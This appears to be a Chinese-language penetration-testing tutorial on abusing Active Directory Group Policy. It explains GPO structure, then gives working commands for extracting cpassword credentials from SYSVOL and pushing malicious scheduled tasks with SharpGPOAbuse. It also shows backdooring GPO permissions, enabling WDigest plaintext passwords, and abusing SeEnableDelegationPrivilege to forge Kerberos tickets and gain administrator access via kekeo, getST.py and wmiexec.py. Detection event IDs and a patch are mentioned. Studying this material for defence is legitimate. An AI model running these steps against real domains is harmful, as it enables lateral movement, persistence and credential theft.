组策略利用与横向移动

组策略介绍

组策略可以控制用户帐户和计算机帐户的工作环境,提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。

可分为本机组策略和域的组策略:

  • 本机组策略用于计算机管理员统一管理本机以及所有用户。
  • 域内的组策略用于域管统一管理域内的所有计算机以及域用户。
  1. 组策略链接

    Default Domain Policy为例,在右边的作用域里面,可以看到它链接到test.local整个域,也就是说在test.local域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU(没有组,只有OU)。

    比如说财务桌面壁纸这条组策略。它就链接到财务这个OU。加入财务这个OU的所有计算机以及用户会受到影响。

  2. 组策略内容

    右键组策略,选择保存报告,可以将组策略的内容导出为htlm。

    可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。

    如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置以及用户配置。在里面的配置分别作用于计算机和用户。

    在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。

    对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。

  3. 组策略更新

    默认情况下,客户端更新组策略的方式主要有

    1. 后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。

    2. 用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。

    3. 客户端强制更新,执行gpupdate /force

      域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"(2008 R2默认不支持该命令,2012支持)

  4. 组策略存储

    每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。

    GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。

    GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\这个默认的共享路径下的内容。

    GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。

    在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。

组策略利用

GPO 常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy –verbose
#获得所有GPO的内容
Get-GPO -All
#将所有GPO导出为一个HTML报告
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
#将每个GPO单独导出一个HTML报告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}
#查看指定GPO的权限设置
Get-GPPermission -Name "客服部组策略" -All
#备份指定GPO
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
#备份所有GPO
Backup-Gpo -All -Path "c:\GpoBackups"
#还原指定GPO
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
#还原所有GPO
Restore-GPO -All -Path "c:\GpoBackups"

利用SYSVOL还原组策略中的密码

如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。

然后可以在GPT中看到加密后的密码(AES-256),微软公开了解密私钥。

C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

  1. 可以通过以下命令来快速搜索(网上有解密方法)

    findstr /S cpassword \\0day.org\sysvol\*.xml

  2. 利用Get-GPPPassword,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。

修复:打了补丁KB2962486后,组策略中无法设置用户名密码。

组策略横向

在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。

  1. 计划任务

    自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。

    指定用户配置定时任务

    1
    2
    3
    4
    5
    6
    7
    8
    #加载GroupPolicy模块 (win7没有,win10有)
    Import-Module GroupPolicy
    #创建一个GPO并将GPO链接到域0day.org,需要域管权限。
    new-gpo -name TestGPO2 | new-gplink -Target "dc=0day,dc=org"
    #添加定时任务 --TargetDnsName指定计算机
    SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author DOMAIN\\Admin --Command "cmd.exe" --Arguments "/c calc.exe" --GPOName "TestGPO2" --FilterEnabled --TargetDnsName PC-jack-0day.0day.org
    #删除GPO
    Remove-GPO -Name TestGPO2
  2. 在”软件安装”下推出.msi

  3. 推出特定的启动脚本

  4. 将域帐户添加到本地管理员RDP组

  5. 降级凭据保护

  6. 更改现有的安全策略以启用明文密码提取

    设置HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald值为1

组策略权限维持

创建GPO的权限

其实就是对CN=Policies,CN=System,<BaseDn>具备CreateChild的权限。

查询域内具备创建GPO的权限:

adfind -b CN=Policies,CN=System,DC=0day,DC=org -sddl+++ -s base -sdna -sddlfilter ;;"CR CHILD";;;

  1. 添加用户test1对TestGPO的完全访问权限

    1
    2
    3
    4
    5
    $RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
    $TargetObject = $RawObject.GetDirectoryEntry()
    $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
    $TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
    $TargetObject.PsBase.CommitChanges()
  2. 移除用户test1对TestGPO的完全访问权限

    1
    2
    3
    4
    5
    $RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
    $TargetObject = $RawObject.GetDirectoryEntry()
    $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
    $TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
    $TargetObject.PsBase.CommitChanges()

攻击检测

事件5137,4662,5145,4674可以看到组策略的新增信息。

修改现有的GPO的权限

如果组策略对象的修改或完全控制权限被分配给了某个用户,当该用户被攻击者拿下之后,攻击者利用该用户权限可以修改并配置特定的组策略来渗透攻击受该组策略作用的用户或计算机。

  1. GPC链接到GPT的权限与修改GPT的权限

    1
    2
    3
    4
    5
    6
    7
    #查找对gPCFileSysPath属性WriteProperty权限的用户
    adfind -b CN=Policies,CN=System,DC=0day,DC=org nTSecurityDescriptor -sddl+++ -s subtree -sdna -sddlfilter ;;;gPCFileSysPath;; -recmute

    #修改GPT的权限,由于GPT 是文件夹的形式,并不在LDAP里面,因此使用icacls查看。
    icacls \\test.local\sysvol\test.local\scripts*
    icacls \\test.localsysvol\test.local\policies*
    #对目录有修改权限的可以随意修改组策略配置
  2. GPO链接的权限
    遍历所有的域、站点、OU上的所有ACE,如果有对gPLink属性或者gPOpptions属性的修改权限,就可以修改这个这个域/站点/OU链接的OU。

    1
    2
    3
    #遍历服部这个OU,对gLink或者gPOpptions有WriteProperty权限的用户
    adfind -b OU=客服部,DC=0day,DC=org -sddl+++ -s base -sdna -sddlfilter ;;;gPlink;;
    adfind -b OU=客服部,DC=0day,DC=org -sddl+++ -s base -sdna -sddlfilter ;;;gPOpptions;;

攻击检测

事件ID5136,4662,5145可以看到GPO的ACL修改。

SeEnableDelegationPrivilege特权

有SeEnableDelegationPrivilege权限的域用户才能给域内服务账户设置委派(约束和非约束,但不包括基于资源的约束委派)。该权限只能通过Default Domain Controllers Policy组策略修改(或修改域控的计算机策略)。

并不是拥有一个对象的GenericAll权限,就可以修改对象的msDS-AllowedToDelegateTo属性,只能有SeEnableDelegationPrivilege权限的才行。

  1. 赋予用户SeEnableDelegationPrivilege权限

    • 通过组策略管理编辑器

    • 通过Default Domain Controllers Policy下的GptTmpl.inf文件

      文件位置:\\rootkit.org\SYSVOL\rootkit.org\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

      添加jack用户的sid

      再测试环境中,要使更改生效需要域控更新组策略:gpupdate /force,并使jack重新登录才有权限。(可能等待时间长些也能生效)

  2. 给服务账户设置委派(只有拥有SPN的用户才能被设置委派,机器账号默认注册了SPN)

    • 添加jack对PC-MICLE-KIT$的完全控制权限 PowerView

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      #获取PC-MICLE-KIT的objectguid
      Get-DomainComputer PC-MICLE-KIT

      #配置jack对PC-MICLE-KIT机器账号的所有权限,(必须配置,不然是无法修改账户属性的)
      Add-DomainObjectAcl -TargetIdentity 'b6283bcb-c141-4a53-99dd-a8d8a50a7b8d' -PrincipalIdentity jack -Rights All -Verbose

      #如果利用的是普通域用户的话,获得域用户控制权限后还需要为域用户设置spn,机器用户就跳过这步。
      setspn -a test/rootkit.org test

      #验证权限,jack的sid
      Get-DomainObjectAcl -Identity PC-MICLE-KIT | ?{$_.SecurityIdentifier -match "S-1-5-21-3759881954-2993291187-3577547808-1135"}

      #删除权限
      Remove-DomainObjectAcl -TargetIdentity "b6283bcb-c141-4a53-99dd-a8d8a50a7b8d" -PrincipalIdentity jack -Rights all -Verbose
    • 在jack会话中配置PC-MICLE-KIT到owa2013.rootkit.org的约束委派

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      #方法一 PowerView
      #查看PC-MICLE-KIT机器账号的委派设置情况
      Get-DomainObject PC-MICLE-KIT -Properties distinguishedname,useraccountcontrol,serviceprincipalname,msds-allowedtodelegateto |fl
      #配置PC-MICLE-KIT到owa2013 CIFS服务的约束委派: 4096(WORKSTATION_TRUST_ACCOUNT)+16777216(TRUSTED_TO_AUTH_FOR_DELEGATION)=16781312
      Set-DomainObject PC-MICLE-KIT -Set @{'msds-allowedtodelegateto'='CIFS/owa2013.rootkit.org';'useraccountcontrol'=16781312} -verbose

      #方法二 [Microsoft.ActiveDirectory.Management.dll](<https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll>)
      Import-module .\Microsoft.ActiveDirectory.Management.dll
      #用户的话使用$user = Get-ADUser test
      $user = Get-ADComputer PC-MICLE-KIT
      #配置PC-MICLE-KIT到krbtgt服务的约束委派(只能2008及其以前的KDC支持)
      Set-ADObject $user -Add @{"msDS-AllowedToDelegateTo" = @("krbtgt/rootkit.org")} -Replace @{"useraccountcontrol"=16781312}
  3. PC-MICLE-KIT$账号发起s4u2self和s4u2proxy请求

    • 如果配置到CIFS/owa2013.rootkit.org服务的约束委派,那么模拟administrator访问owa2013.rootkit.orgCIFS服务

      1
      2
      3
      4
      5
      6
      7
      8
      #keko
      #生成TGT票据
      tgt::ask /user:PC-MICLE-KIT$ /domain:rootkit.org /ntlm:a15bc42b9f1f1daa812a0b75a4c775c4
      #发起s4u请求
      tgs::s4u /tgt:TGT_PC-MICLE-KIT$@[email protected] /user:[email protected] /service:CIFS/owa2013.rootkit.org
      #ptt
      kerberos::ptt [email protected]@[email protected]
      dir \\owa2013.rootkit.org\c$
    • 如果配置到krbtgt(即TGS服务)的约束委派

      Tips: 黄金票据是通过用krbtgt的hash来伪造TGT。而创建到krbtgt用户的约束委派也能达到同样的效果。TGS服务器默认的SPN是krbtgt/domain name。(只适用于2008及之前的KDC,2012的域控上未成功,2012及以后的KDC,受限委派的时候用的机制变成了基于资源的委派,已测试)

      1
      2
      3
      4
      python3 getST.py -dc-ip 192.168.1.10 -spn krbtgt/0day.org -impersonate administrator 0day.org/PC-JACK-0DAY$ -hashes :35c7a1ec7ab4df8d073abe65e5375f3a
      #这里的krbtgt的TGS票据,相当于TGT票据
      export KRB5CCNAME=administrator.ccache
      python3 wmiexec.py 0day.org/[email protected].0day.org -no-pass -k

参考

[^1]: Windows内网协议学习LDAP篇之组策略